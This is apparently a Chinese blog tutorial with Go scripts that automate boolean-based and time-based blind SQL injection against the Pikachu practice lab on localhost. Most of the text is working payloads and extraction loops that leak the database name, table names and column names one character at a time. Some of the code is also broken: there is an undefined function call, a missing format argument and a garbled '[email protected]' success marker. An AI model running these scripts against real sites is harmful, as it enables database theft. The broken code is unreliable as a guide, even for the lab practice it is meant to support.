Golang实现布尔盲注

上一篇讲到了盲注的实现过程,现在我们可以一起来学习一下脚本的编写

盲注payload

kobe' and length(database()) = 7#

kobe' and ascii(substr(database(),1,1)) > 111#

构造poc

常规循环实现

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"
)

var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'"
var payload = "kobe' and ascii(substr((%s),%v,1)) > %v#"
var flag string


func main(){
    url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
    url1 := "&submit=查询##&submit=查询"
    sqlin2(url, url1)
}

func sqlin(url1 string, url2 string) {
    for i := 1; i < 200; i++ {
        for j := 1; j < 127; j++ {
            if j > 50 {
                payload1 := fmt.Sprintf(payload, i, j)
                // fmt.Println(payload1)
                payload2 := url.QueryEscape(payload1)
                payload1 = url1 + payload2 + url2
                // fmt.Println(payload1)
                re := send(payload1)
                if check(re) {
                    flag += string(j)
                    fmt.Println(flag)
                }
            }
        }
    }
}

// 网络请求
func send(url string) string {
    client := &http.Client{}
    req,err := http.NewRequest("GET",url,nil)
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
    resp, err := client.Do(req)
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()
    rest, err := io.ReadAll(resp.Body)
    res := string(rest)
    return res
}

// 内容读取
func check(test string) bool {
    return strings.Contains(test, "[email protected]")
}

二分查找法

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"
)

var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'"
var payload = "kobe' and ascii(substr((%s),%v,1)) > %v#"
var flag string


func main(){
    url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
    url1 := "&submit=查询##&submit=查询"
    attack(url, url1)
}

func attack(url1 string,url2 string) {
    for i := 1; i < 200; i++ {
        low := 38
        high := 127
        mid := (low + high) / 2
        for high > low {
            payload1 := fmt.Sprintf(payload, SplicingPayload, i, mid)
            payload2 := url.QueryEscape(payload1)
            payload1 = url1 + payload2 + url2
            resp := send(payload1)
            if check(resp) {
                low = mid + 1
            } else {
                high = mid
            }
            mid = (low + high) / 2
            if string(mid) == "&" {
                os.Exit(0)
            }
        }
        flag += string(mid)
        fmt.Println(flag)

    }
}

// 网络请求
func send(url string) string {
    client := &http.Client{}
    req,err := http.NewRequest("GET",url,nil)
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
    resp, err := client.Do(req)
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()
    rest, err := io.ReadAll(resp.Body)
    res := string(rest)
    return res
}

// 内容读取
func check(test string) bool {
    return strings.Contains(test, "[email protected]")
}

另一种实现思路

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "strings"
    "time"
)

func main() {
    url := "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
    url1 := "&submit=查询##&submit=查询"
    attackBinary(url, url1)
}

func attackBinary(url1 string, url2 string) string {
    defer measureTime(time.Now(), "Binary")

    dbName := ""
    sqlPayload := "database()"

    j := 1
    exitFlag := false
    for !exitFlag {
        exitFlag = true
        low := 32
        high := 126
        for high >= low {
            mid := (low + high) / 2

            payload1 := fmt.Sprintf("kobe' and ascii(substr(%s,%d,%d)) = %d#", sqlPayload, j, j, mid)
            // 编码转换
            payload2 := url.QueryEscape(payload1)
            payload1 = url1 + payload2 + url2
            resp := send(payload1)

            if strings.Contains(resp, "[email protected]") {
                dbName += string(mid)
                fmt.Println("flag :", dbName)
                exitFlag = false
                break
            }

            payload1 = fmt.Sprintf("kobe' and ascii(substr(%s,%d,%d)) > %d#", sqlPayload, j, j, mid)
            payload2 = url.QueryEscape(payload1)
            payload1 = url1 + payload2 + url2
            resp = send(payload1)

            if strings.Contains(resp, "[email protected]") {
                low = mid + 1
            } else {
                high = mid - 1
            }
        }
        j += 1
    }
    return dbName
}

// 时间统计
func measureTime(start time.Time, name string) {
    elapsed := time.Since(start)
    log.Fatalf("Time for %s:%s", name, elapsed)
}

// 网络请求
func send(url string) string {
    client := &http.Client{}
    req, err := http.NewRequest("GET", url, nil)
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36")
    resp, err := client.Do(req)
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()
    rest, err := io.ReadAll(resp.Body)
    res := string(rest)
    return res
}

Golang实现时间盲注

目前我使用的这个延时注入脚本较慢,因为在判断的过程中,会将sleep()函数进行执行,导致判断时间较长

package main

import (
    "fmt"
    "log"
    "net/http"
    "net/url"
    "time"
)

var url1 = "http://localhost:8000/vul/sqli/sqli_blind_b.php?name="
var url2 = "&submit=查询#&submit=查询"

func main() {
    payload := "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
    testGeneralBaseTime(payload)
}

// 获取GET请求,返回是否存在延时
func getRequestBaseTime(payload string) bool {
    startTime := time.Now()
    payload = url.QueryEscape(payload)
    urlL := url1 + payload + url2
    // 在pikachu时间注入里 只能发送post请求 才能有时间回显,先开始哦一直用的Get导致出现404报错!!
    resp, err := http.Post(urlL, "application/x-www-form-urlencoded", nil)
    if err != nil {
        log.Fatal(err)
    }
    defer resp.Body.Close()
    if resp.StatusCode != 200 {
        log.Fatal("请求失败")
    }
    endTime := time.Now()
    // Sub()返回时间差
    usedTime := endTime.Sub(startTime)
    if usedTime > 3*time.Second {
        return true
    }
    return false

}

// 二分法编写通用注入方法
func testGeneralBaseTime(payload string) string {
    var flag string
    exitFlag := false
    j := 1
    for !exitFlag {
        exitFlag = true
        high := 127
        low := 38
        for high >= low {
            mid := (high + low) / 2
            payloadGeneral := fmt.Sprintf("kobe' and if(ascii(substr(%s,%d,%d))=%d,sleep(3),1)#", payload, j, j, mid)
            if getRequestBaseTime(payloadGeneral) {
                flag += string(mid)
                fmt.Println(flag)
                exitFlag = false
                break
            }

            payloadGeneral1 := fmt.Sprintf("kobe' and if(ascii(substr(%s,%d,%d))>%d,sleep(3),1)#", payload, j, j, mid)
            if getRequestBaseTime(payloadGeneral1) {
                low = mid + 1
            } else {
                high = mid - 1
            }
        }
        j += 1
    }
    return flag
}

学习的师傅文章链接:

https://www.cnblogs.com/newbe3three/p/15917296.html#%E6%97%B6%E9%97%B4%E5%9E%8B

https://godeep.pro/blog/SQL%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8%E8%87%AA%E5%8A%A8%E5%8C%96%E8%84%9A%E6%9C%AC%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE%E5%AE%9E%E8%B7%B5%E4%B8%8E%E8%B8%A9%E5%9D%91-Python-Golang-Rust/#golang-%E7%89%88

https://www.cnblogs.com/dogecheng/p/11616282.html